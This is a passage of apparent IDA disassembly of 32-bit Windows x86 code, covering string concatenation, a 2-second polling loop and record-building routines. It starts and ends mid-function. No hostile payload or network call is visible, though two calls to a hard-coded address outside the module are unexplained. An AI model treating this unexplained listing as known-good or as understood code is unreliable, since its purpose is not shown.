		mov	dx, word_444E80
		mov	[esp+12Ch], ecx
		stosw
		stosb
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [esp+132h]
		mov	[esp+130h], dx
		rep stosd
		mov	ecx, [esp+360h]
		push	0FFh
		stosw
		lea	eax, [esp+18h]
		xor	edi, edi
		push	eax
		push	0FFFFFFFFh
		push	ecx
		push	edi
		push	edi
		nop
		call	near ptr 27B0000h
		mov	esi, dword_511AB8
		lea	edx, [esp+14h]
		lea	eax, [esp+12Ch]
		push	edx
		push	eax
		call	esi	; wcscat
		lea	ecx, [esp+10h]
		lea	edx, [esp+134h]
		push	ecx
		push	edx
		call	esi	; wcscat
		mov	esi, [esp+374h]
		add	esp, 10h
		lea	eax, [esp+12Ch]
		push	edi
		push	offset dword_50DB4C
		push	offset dword_50DB4C
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+14h], eax
		mov	[esi+1Ch], edi
		call	sub_43829E
; ---------------------------------------------------------------------------
		cmp	eax, 5
		jz	short loc_41C2C8
		cmp	eax, 4C3h
		jnz	short loc_41C2D1


loc_41C2C8:				; CODE XREF: ___:0041C2BFj
		push	edi
		push	edi
		push	edi
		push	esi
		call	sub_43829E
; ---------------------------------------------------------------------------


loc_41C2D1:				; CODE XREF: ___:0041C2C6j
		pop	edi
		cmp	eax, 5
		pop	esi
		jz	short loc_41C2E8
		cmp	eax, 4C3h
		jz	short loc_41C2E8
		mov	al, 1
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------


loc_41C2E8:				; CODE XREF: ___:0041C2D6j
					; ___:0041C2DDj
		xor	al, al
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41C350:				; CODE XREF: ___:00401EE7j
		sub	esp, 354h
		mov	eax, off_444E84
		mov	ecx, off_444E88
		mov	[esp+0], eax
		mov	al, byte_448F30
		push	esi
		push	edi
		mov	[esp+0Ch], ecx
		mov	[esp+14h], al
		mov	ecx, 45h
		xor	eax, eax
		lea	edi, [esp+15h]
		mov	edx, dword_444E8C
		rep stosd
		mov	ecx, off_444E7C
		mov	[esp+10h], edx
		mov	dx, word_444E80
		mov	[esp+12Ch], ecx
		stosw
		stosb
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [esp+132h]
		mov	[esp+130h], dx
		rep stosd
		mov	ecx, [esp+360h]
		push	0FFh
		stosw
		lea	eax, [esp+18h]
		push	eax
		push	0FFFFFFFFh
		push	ecx
		push	0
		push	0
		call	near ptr 27B0000h
		nop
		mov	esi, dword_511AB8
		lea	edx, [esp+14h]
		lea	eax, [esp+12Ch]
		push	edx
		push	eax
		call	esi	; wcscat
		lea	ecx, [esp+10h]
		lea	edx, [esp+134h]
		push	ecx
		push	edx
		call	esi	; wcscat
		add	esp, 10h
		lea	eax, [esp+12Ch]
		push	0
		push	0
		push	eax
		call	sub_4382A4
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_41C438
		mov	esi, dword_5118D8


loc_41C41C:				; CODE XREF: ___:0041C436j
		push	7D0h
		call	esi
		push	0
		lea	ecx, [esp+130h]
		push	0
		push	ecx
		call	sub_4382A4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41C41C


loc_41C438:				; CODE XREF: ___:0041C414j
		pop	edi
		mov	al, 1
		pop	esi
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41C490	proc near		; CODE XREF: sub_401D93j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41C490
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	0Ch
		push	4
		push	4Fh
		push	10h
		push	14h
		lea	eax, [esp+5Ch+var_3C]
		push	6
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+0BCh]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_41C490	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		push	10h
		push	14h
		lea	edx, [esp+24h]
		push	6
		push	edx
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+118h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	15h
		push	4Fh
		push	10h
		push	14h
		lea	ecx, [esp+20h]
		push	6
		push	ecx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017EE
		lea	edx, [esi+0EAh]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	4
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	eax, [esp+24h]
		push	8
		push	eax
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	edx, [esp+28h]
		push	8
		push	edx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017EE
		push	eax
		lea	eax, [esi+60h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	14h
		push	1
		push	4
		push	10h
		push	15h
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	ecx, [esp+4Ch]
		push	8
		push	ecx
		call	sub_4019C4
		add	esp, 34h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 5
		call	sub_4017EE
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C710	proc near		; CODE XREF: sub_401064j

var_111		= byte ptr -111h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_F4		= byte ptr -0F4h
var_DC		= byte ptr -0DCh
var_C4		= byte ptr -0C4h
var_AC		= byte ptr -0ACh
var_94		= byte ptr -94h
var_7C		= byte ptr -7Ch
var_67		= byte ptr -67h
var_52		= byte ptr -52h
var_3D		= byte ptr -3Dh
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_41C710
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 108h
		push	ebx
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		lea	ecx, [esp+124h+var_10C]
		call	sub_40142E
		lea	ecx, [esp+124h+var_DC]
		mov	[esp+124h+var_4], 0
		call	sub_40142E
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_40142E
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_40142E
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_40142E
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_401B4A
		mov	esi, [esp+124h+arg_0]
		mov	bl, 5
		lea	ecx, [ebp+8Eh]
		mov	byte ptr [esp+124h+var_4], bl
		lea	edi, [esi+7Eh]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		lea	ecx, [ebp+4]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41C93C
		push	offset asc_444600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 6
		push	ecx
		mov	ecx, eax
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		push	offset asc_444C64 ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401AAF
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 7
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 8
		jz	short loc_41C8CC
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41C8CE
; ---------------------------------------------------------------------------


loc_41C8CC:				; CODE XREF: sub_41C710+1AFj
		xor	edi, edi


loc_41C8CE:				; CODE XREF: sub_41C710+1BAj
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FDC
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FDC
		lea	eax, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	eax
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 0
		mov	cl, [esi+93h]
		mov	[edi+92h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], dl
		call	sub_4013DE


loc_41C93C:				; CODE XREF: sub_41C710+C0j
		lea	ecx, [ebp+60h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CABB
		push	offset asc_444600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 9
		push	ecx
		mov	ecx, eax
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		push	offset asc_444C64 ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401AAF
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 0Ah
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 0Bh
		jz	short loc_41CA4B
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41CA4D
; ---------------------------------------------------------------------------


loc_41CA4B:				; CODE XREF: sub_41C710+32Ej
		xor	edi, edi


loc_41CA4D:				; CODE XREF: sub_41C710+339j
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FDC
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FDC
		lea	eax, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	eax
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 1
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 0
		mov	cl, [esi+93h]
		mov	[edi+92h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], dl
		call	sub_4013DE


loc_41CABB:				; CODE XREF: sub_41C710+23Fj
		lea	ecx, [ebp+32h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CCF6
		push	offset asc_444600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 0Ch
		push	ecx
		mov	ecx, eax
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		push	offset asc_444C64 ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401AAF
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 0Dh
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	offset word_44955A
		mov	ecx, eax
		mov	byte ptr [esp+128h+var_4], 0Eh
		call	sub_401B86
		test	eax, eax
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		setz	[esp+124h+var_111]
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jz	short loc_41CC5E
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014BA
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_41D312
; ---------------------------------------------------------------------------


loc_41CC5E:				; CODE XREF: sub_41C710+4D6j
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 0Fh
		jz	short loc_41CC86
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41CC88
; ---------------------------------------------------------------------------


loc_41CC86:				; CODE XREF: sub_41C710+569j
		xor	edi, edi


loc_41CC88:				; CODE XREF: sub_41C710+574j
		lea	ecx, [esp+124h+var_10C]
		mov	byte ptr [esp+124h+var_4], bl
		push	ecx
		lea	ecx, [edi+11h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	eax
		call	sub_401FDC
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 1
		mov	byte ptr [edi+91h], 0
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013DE


loc_41CCF6:				; CODE XREF: sub_41C710+3BEj
		lea	ecx, [ebp+0BCh]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CE9B
		push	offset asc_444600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 10h
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FDC
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 11h
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 12h
		jz	short loc_41CE0E
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41CE10
; ---------------------------------------------------------------------------


loc_41CE0E:				; CODE XREF: sub_41C710+6F1j
		xor	edi, edi


loc_41CE10:				; CODE XREF: sub_41C710+6FCj
		lea	edx, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	edx
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FDC
		lea	eax, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_C4]
		push	ecx
		lea	ecx, [edi+65h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_94]
		lea	ecx, [edi+50h]
		push	eax
		call	sub_401FDC
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 1
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013DE


loc_41CE9B:				; CODE XREF: sub_41C710+5FCj
		lea	ecx, [ebp+118h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41D040
		push	offset asc_444600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 13h
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FDC
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 14h
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 15h
		jz	short loc_41CFB3
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41CFB5
; ---------------------------------------------------------------------------


loc_41CFB3:				; CODE XREF: sub_41C710+896j
		xor	edi, edi


loc_41CFB5:				; CODE XREF: sub_41C710+8A1j
		lea	edx, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	edx
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FDC
		lea	eax, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_C4]
		push	ecx
		lea	ecx, [edi+65h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_94]
		lea	ecx, [edi+50h]
		push	eax
		call	sub_401FDC
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 1
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 1
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013DE


loc_41D040:				; CODE XREF: sub_41C710+7A1j
		lea	ecx, [ebp+0EAh]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41D2A1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 16h
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FDC
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 17h
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+128h+var_F4]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	offset word_44955A
		mov	ecx, eax
		mov	byte ptr [esp+128h+var_4], 18h
		call	sub_401B86
		test	eax, eax
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		setz	[esp+124h+var_111]
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jz	short loc_41D1EC
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014BA
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_41D312
; ---------------------------------------------------------------------------


loc_41D1EC:				; CODE XREF: sub_41C710+A64j
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 19h
		jz	short loc_41D214
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41D216
; ---------------------------------------------------------------------------


loc_41D214:				; CODE XREF: sub_41C710+AF7j
		xor	edi, edi


loc_41D216:				; CODE XREF: sub_41C710+B02j
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FDC
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_94]
		push	ecx
		lea	ecx, [edi+50h]
		call	sub_401FDC
		lea	edx, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	edx
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 1
		mov	byte ptr [edi+91h], 1
		mov	al, [esi+93h]
		mov	[edi+92h], al
		mov	cl, [esi+94h]
		mov	[edi+93h], cl
		mov	ecx, edi
		call	sub_4013DE


loc_41D2A1:				; CODE XREF: sub_41C710+116j
					; sub_41C710+295j ...
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014BA
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1


loc_41D312:				; CODE XREF: sub_41C710+549j
					; sub_41C710+AD7j
		mov	ecx, [esp+124h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
